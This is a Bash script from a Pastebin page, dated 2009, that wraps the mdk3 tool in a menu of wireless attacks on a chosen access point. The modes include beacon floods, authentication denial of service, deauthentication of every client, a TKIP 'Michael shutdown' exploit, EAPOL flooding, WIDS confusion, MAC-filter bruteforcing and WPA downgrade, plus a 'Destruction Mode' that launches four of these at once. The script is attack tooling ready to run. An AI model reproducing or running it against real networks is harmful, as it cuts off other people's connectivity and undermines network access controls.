Advertisement
Guest User

MI1

a guest
Aug 14th, 2009
1,344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 12.92 KB | None | 0 0
  1. #!/bin/bash
  2. clear
  3.  
  4. trap killing INT
  5. #zelena
  6. function echoMessage() {
  7.   tput setaf 2; tput setab 0;
  8.   echo $*
  9.   tput sgr0
  10. }
  11.  
  12. function killing() {
  13.   tput setaf 2; tput setab 0;
  14.   clear
  15.   echoError "============================================Exit properly using Menu!!!============================================="
  16.   echo ""
  17.   tput sgr0
  18.   menu_fcia
  19. }
  20.  
  21. #hneda
  22. function echoWarning() {
  23.   tput setaf 3; tput setab 0;
  24.   echo $*
  25.   tput sgr0
  26. }
  27.  
  28. #modra
  29. function echoPrompt() {
  30.   tput setaf 4; tput setab 0;
  31.   echo $*
  32.   tput sgr0
  33. }
  34.  
  35. #cervena
  36. function echoError() {
  37.   tput setaf 1; tput setab 0;
  38.   echo $*
  39.   tput sgr0
  40. }
  41.  
  42. function monitor() {
  43. ifconfig $WIFI up
  44. iwconfig $WIFI rate 1M
  45. airmon-ng start $WIFI
  46. sleep 2
  47. }
  48.  
  49. atheros() {
  50. echoPrompt "Should I put ath0 in monitor mode? (y/n) "
  51. echoMessage "(n means you want to switch to Managed mode!)"
  52. read answer
  53. if [ "$answer" != "n" ]
  54. then wlanconfig ath0 destroy
  55. wlanconfig ath0 create wlandev wifi0 wlanmode monitor
  56. iwconfig ath0 rate 1M
  57. clear
  58. echo
  59. echo
  60. echoError "Switching to mode Monitor, rate 1M"
  61. echo
  62. else
  63. wlanconfig ath0 destroy
  64. wlanconfig ath0 create wlandev wifi0 wlanmode Managed
  65. clear
  66. echo
  67. echo
  68. echoError "Switching to mode Managed!"
  69. echo
  70. fi
  71. }
  72.  
  73. airmon() {
  74. echoPrompt "Should I put wireless card in monitor mode? (y/n) "
  75. echoMessage "(n means you want to switch to mode Managed!)"
  76. read answer
  77. if [ "$answer" != "n" ]
  78. then airmon-ng start $WIFI
  79. iwconfig $WIFI rate 1M
  80. clear
  81. echo
  82. echo
  83. echoError "Switching to mode Monitor, rate 1M!"
  84. echo
  85. else
  86. airmon-ng stop $WIFI
  87. clear
  88. echo
  89. echo
  90. echoError "Switching to mode Managed!"
  91. echo
  92. fi
  93. }
  94.  
  95. function intel() {
  96. echoPrompt "Should I put wireless card in monitor mode? (y/n) "
  97. echoMessage "(n means you want to switch to mode Managed!)"
  98. read answer
  99. if [ "$answer" != "n" ]
  100. then
  101. ifconfig $WIFI down
  102. iwconfig $WIFI mode Monitor
  103. ifconfig $WIFI up
  104. iwconfig $WIFI rate 1M
  105. clear
  106. echo
  107. echo
  108. echoError "Switching to mode Monitor, rate 1M!"
  109. else
  110. ifconfig $WIFI down
  111. iwconfig $WIFI mode Managed
  112. ifconfig $WIFI up
  113. clear
  114. echo
  115. echo
  116. echoError "Switching to mode Managed!"
  117. echo
  118. fi
  119. }
  120.  
  121. function setinterface() {
  122.    
  123.     INTERFACES=`ip link|egrep "^[0-9]+"|cut -d ':' -f 2 |awk {'print $1'} |grep -v lo`
  124.    
  125.     echoError "===============================================Interface selection======================================================"
  126.     echoMessage "______Select your interface:______"
  127.         echo
  128.         select WIFI in $INTERFACES; do
  129.                 break;
  130.         done
  131. echo
  132.              echo "========================================================================================================================"                
  133. }
  134.        
  135.  
  136. function managed() {
  137. iwconfig $WIFI mode Managed
  138. iwconfig $WIFI rate 1M
  139. }
  140.  
  141. function restartiface() {
  142. ifconfig $WIFI down
  143. ifconfig $WIFI up
  144. iwconfig $WIFI rate 1M
  145. }
  146.  
  147.  
  148. #Beacon flood
  149. function flood () {
  150. xterm -bd red -geometry 80x24+100+100 -T Fake_AP_session_started -e mdk3 $WIFI b -n $destruct_essid -c $destruct_chan -s 500 -g -$destruct_enc
  151. }
  152. #Auth-DoS
  153. function dos () {
  154. xterm -bd red -geometry 80x24+400+400 -T AUTH_flood_session_started -e mdk3 $WIFI a -i $destruct_bssid
  155. }
  156. #Amok mode
  157. function amok () {
  158. xterm -bd red -geometry 80x24+700+700 -T Amok_Mode_session_started -e mdk3 $WIFI d -t $destruct_bssid -c $destruct_chan
  159. }
  160. #WIDS confusion
  161. function wids () {
  162. xterm -bd red -geometry 80x24+1000+1000 -T WIDS/WIPS/WDS_Confusion_session_started -e mdk3 $WIFI w -e $destruct_essid -c $destruct_chan -z
  163. }
  164.  
  165. function iwconfigcia () {
  166. xterm +j -sb -rightbar -bd yellow -geometry 80x24+350+350 -T Status_window -hold -e iwconfig $WIFI
  167. }
  168.  
  169. function scantarget () {
  170. ifconfig $WIFI up
  171. iwlist $WIFI scan > /root/Desktop/target_list.txt
  172. echoError "Target list was created on your Desktop (target_list.txt) You may proceed to monitor/managed mode switching... "
  173. echo
  174.  
  175. }
  176.  
  177.  
  178.  
  179.  
  180.        echo "======================================================================================================================="
  181. echoMessage "__________________________________________Airstorm script for MDK3 v.5_________________________________________________"
  182.   echoError "____________________________________________ Developed for BackTrack __________________________________________________"
  183. #sleep 3
  184. #      echo "======================================================================================================================="
  185. echo
  186.        echo "================================================== FINISH HIM! ========================================================"
  187. #sleep 3
  188.  
  189.  
  190. menu_fcia ()
  191.   {
  192.         #clear
  193.     echoPrompt "Menu - Enter your choice:"
  194.     choice=17
  195.         echo
  196.        
  197.         echoPrompt "____________________________________________________________"
  198.     echo "0  Managed mode target scan-list of targets will be created"
  199.         echoError "____________________________________________________________"
  200.         echo "1. Monitor/Managed mode switcher-only for Atheros cards!"
  201.         echo "2. Monitor/Managed mode switcher using airmon-ng!"
  202.         echo "3. Monitor/Managed mode switcher-should work for Intel cards!"
  203.         echoError "____________________________________________________________"
  204.        
  205.         echo "4.  Beacon Flood Mode"
  206.     echo "5.  Authentication DoS mode"
  207.     echo "6.  Basic probing and ESSID Bruteforce mode"
  208.         echo "7.  Deauthentication / Disassociation Amok Mode"
  209.         echo "8.  Michael shutdown exploitation (TKIP)"
  210.         echo "9.  802.1X tests"
  211.         echo "10. WIDS/WIPS Confusion"
  212.         echo "11. MAC filter bruteforce mode "
  213.         echo "12. WPA Downgrade test "
  214.         echoError "____________________________________________________________"
  215.         echo "13. Destruction Mode!"
  216.         echoError "____________________________________________________________"
  217.         echo "14. MDK3 help"
  218.        
  219.         echo "15. iwconfig-this is only for info..."
  220.         echo "16. Exit Airstorm script"
  221.  
  222. echoMessage "========================================================O_O============================================================="
  223. read choice
  224.  
  225. if [ $choice -eq 0 ];
  226.      then
  227.      echo
  228.      echo
  229.      
  230.      scantarget
  231.      menu_fcia
  232.  
  233. else if [ $choice -eq 1 ];
  234.      then
  235.      atheros
  236.      menu_fcia
  237.  
  238. else if [ $choice -eq 2 ];
  239.      then
  240.      airmon
  241.      menu_fcia
  242.  
  243. else if [ $choice -eq 3 ];
  244.      then
  245.      echo
  246.      echo
  247.      
  248. echoError "This often set the requested Mode but crashes the script, simply run miron.sh again and skip Monitor/Managed mode switching!"
  249.      intel
  250.      menu_fcia
  251.  
  252. else if [ $choice -eq 4 ];
  253.      then
  254.      echoError "Sends beacon frames to show fake APs at clients. Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers!"
  255.      echo    
  256.      echoPrompt "Type SSID:"
  257.      read ssid
  258.      echoPrompt "Choose channel (1-14):"
  259.      read chan
  260.      echoPrompt "Set encryption, type d for Ad-Hoc, w for Wep, g for Wpa-TKIP, a for Wpa-AES."
  261.     read setcrypt
  262.      echoError "Creating .."
  263.      
  264.      echo
  265.      mdk3 $WIFI b -n $ssid -c $chan -s 500 -$setcrypt
  266.      menu_fcia
  267.  
  268. else if [ $choice -eq 5 ];
  269.      then
  270.      echoError "Sends authentication frames to all APs found in range. Too much clients freeze or reset almost every AP."
  271.     echo
  272.     echo "Set MAC address of your target:"
  273.     read maci
  274.     echoMessage "Starting..."
  275.     mdk3 $WIFI a -i $maci  
  276.     menu_fcia
  277.  
  278.     else if [ $choice -eq 6 ];
  279.     then
  280.     echo "Basic probing and ESSID Bruteforce mode"
  281.     echoMessage "Probes AP and check for answer, useful for checking if SSID has been correctly decloaked or if AP is in your adaptors sending range"
  282.     echo
  283.     echoPrompt "Set target BSSID"
  284.     read brutebssid
  285.     echo
  286.     echoPrompt "Set channel"
  287.     read brutchan
  288.     echo
  289.     echoMessage "Starting hiden SSID bruteforce..."
  290.     mdk3 $WIFI p -b -t $brutebssid -c $brutchan
  291.     echo
  292.     menu_fcia
  293.  
  294. else if [ $choice -eq 7 ];
  295.      then  
  296.      echoError "Deauthentication / Disassociation Amok Mode - Kicks everybody found from AP"
  297.      echoPrompt "Type target BSSID, example: 00:11:22:33:44:55"
  298.      read tar
  299.      echo
  300.      echoPrompt "Set channel"
  301.      read kanalosss
  302.      echoError "Kicking..."
  303.      mdk3 $WIFI d -t $tar -c $kanalosss
  304.      menu_fcia
  305.  
  306.      else if [ $choice -eq 8 ];
  307.      then  
  308.      echoError "Michael shutdown exploitation (TKIP) - Cancels all traffic continuously"
  309.      echo
  310.      echoPrompt "Set target BSSID"
  311.      read michbssid
  312.      echo
  313.      echoError "Using the new TKIP QoS-Exploit, Needs just a few packets to shut AP down!"
  314.      mdk3 $WIFI m -t $michbssid -j
  315.      menu_fcia
  316.  
  317.      else if [ $choice -eq 9 ];
  318.      then
  319.      echoError "802.1X tests - Only EAPOL packet flooding is implemented"
  320.      echo
  321.      echoPrompt "Set target ESSID"
  322.      read eapolessid
  323.      echoPrompt "Set target BSSID"
  324.      read eapolbssid
  325.      mdk3 $WIFI x 0 -n $eapolessid -t $eapolbssid
  326.      menu_fcia
  327.  
  328.      else if [ $choice -eq 10 ];
  329.      then
  330.      echoError "WIDS/WIPS/WDS Confusion Confuses a WDS with multi-authenticated clients which messes up routing tables"
  331.      echo
  332.      echoPrompt "Set target ESSID"
  333.      read taressid
  334.      echo
  335.      echoPrompt "Set target channel"
  336.      read kanalik
  337.      echoError "Starting WIDS/WIPS Confusion, activating Zero_Chaos' WIDS exploit!"
  338.      mdk3 $WIFI w -e $taressid -c $kanalik -z
  339.      menu_fcia
  340.  
  341.  
  342.      else if [ $choice -eq 11 ];
  343.      then
  344.      echoError "MAC filter bruteforce mode This test uses a list of known client MAC Adresses and tries to authenticate them to the given AP while dynamically changing
  345.      its response timeout for best performance. It currently works only
  346.      on APs who deny an open authentication request properly"
  347.      echoPrompt "Set target BSSID"
  348.      read tarbrut
  349.      echoError "Starting..."
  350.      mdk3 $WIFI f -t $tarbrut
  351.      menu_fcia
  352.  
  353.      else if [ $choice -eq 12 ];
  354.      then
  355.      echo "WPA Downgrade test - deauthenticates Stations and APs sending WPA encrypted packets. With this test you can check if the sysadmin will try setting his network to WEP or disable encryption"
  356.      echoPrompt "Set target BSSID"
  357.      read targetaka
  358.      echo
  359.      echoError "Starting..."
  360.      mdk3 $WIFI g -t $targetaka
  361.  
  362.      menu_fcia
  363.      
  364.      else if [ $choice -eq 13 ];
  365.      then
  366.      clear
  367.             echoError "_____________________________________________Accessing Destruction mode!________________________________________________"
  368.      echoMessage      "=======================================================O_o=============================================================="
  369.      echoError        "___________________________________________Be carefull, this is dangerous!______________________________________________"
  370. echo
  371. echoPrompt "Fill me with neccessary info please:"
  372.     echo
  373.     echoMessage "Set target SSID!"
  374.     read destruct_essid
  375.     echo
  376.     echoMessage "Set target BSSID!"
  377.     read destruct_bssid
  378.     echo
  379.     echoMessage "Set encryption!"
  380.     echo "Type d for Ad-Hoc, w for Wep, g for Wpa-TKIP, a for Wpa-AES."
  381.     read destruct_enc
  382.     echo
  383.     echoMessage "Set channel!"
  384.     read destruct_chan    
  385.     echo
  386. echoError "Starting destruction mode O_o"
  387.       wids & dos & amok & flood
  388.    
  389. menu_fcia
  390. #_________________________________________________________________________________________________________________________________    
  391.      
  392.      else if [ $choice -eq 14 ];
  393.      then
  394.      clear
  395.      mdk3 --fullhelp
  396.      menu_fcia
  397.  
  398.      else if [ $choice -eq 15 ];
  399.      then
  400.      clear
  401.      echo
  402.      echoMessage "Showing iwconfig in a xterm..."
  403.      echo
  404.      echo
  405.      echoError "Close Status_window to continue!"
  406.      echo
  407.      echo
  408.      iwconfigcia
  409.      menu_fcia
  410.    
  411.      else if [ $choice -eq 16 ];
  412.      then    
  413.      sleep 1
  414.      echoMessage - Bourne again shell script, Created 11.5.2009 o 02:45 by MI1 - Sajonara!
  415.               echo "========================================================================================================================="
  416.              
  417.               date
  418.               uname -a
  419.               exit
  420.  
  421.  #else
  422.  #echoWarning -n "No valid choice was choosen "
  423.  #choice=15
  424.  #menu_fcia        
  425.                    
  426.                   fi
  427.                    fi                    
  428.                      fi
  429.                        fi
  430.                           fi
  431.                              fi
  432.                                 fi
  433.                                    fi
  434.                                      fi
  435.                                        fi
  436.                                           fi
  437.                                             fi
  438.                                                fi
  439.                                                  fi
  440.                                                    fi
  441.                                                      fi
  442.                                                        fi
  443.  
  444. }
  445. setinterface              
  446. menu_fcia
  447.  
  448.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement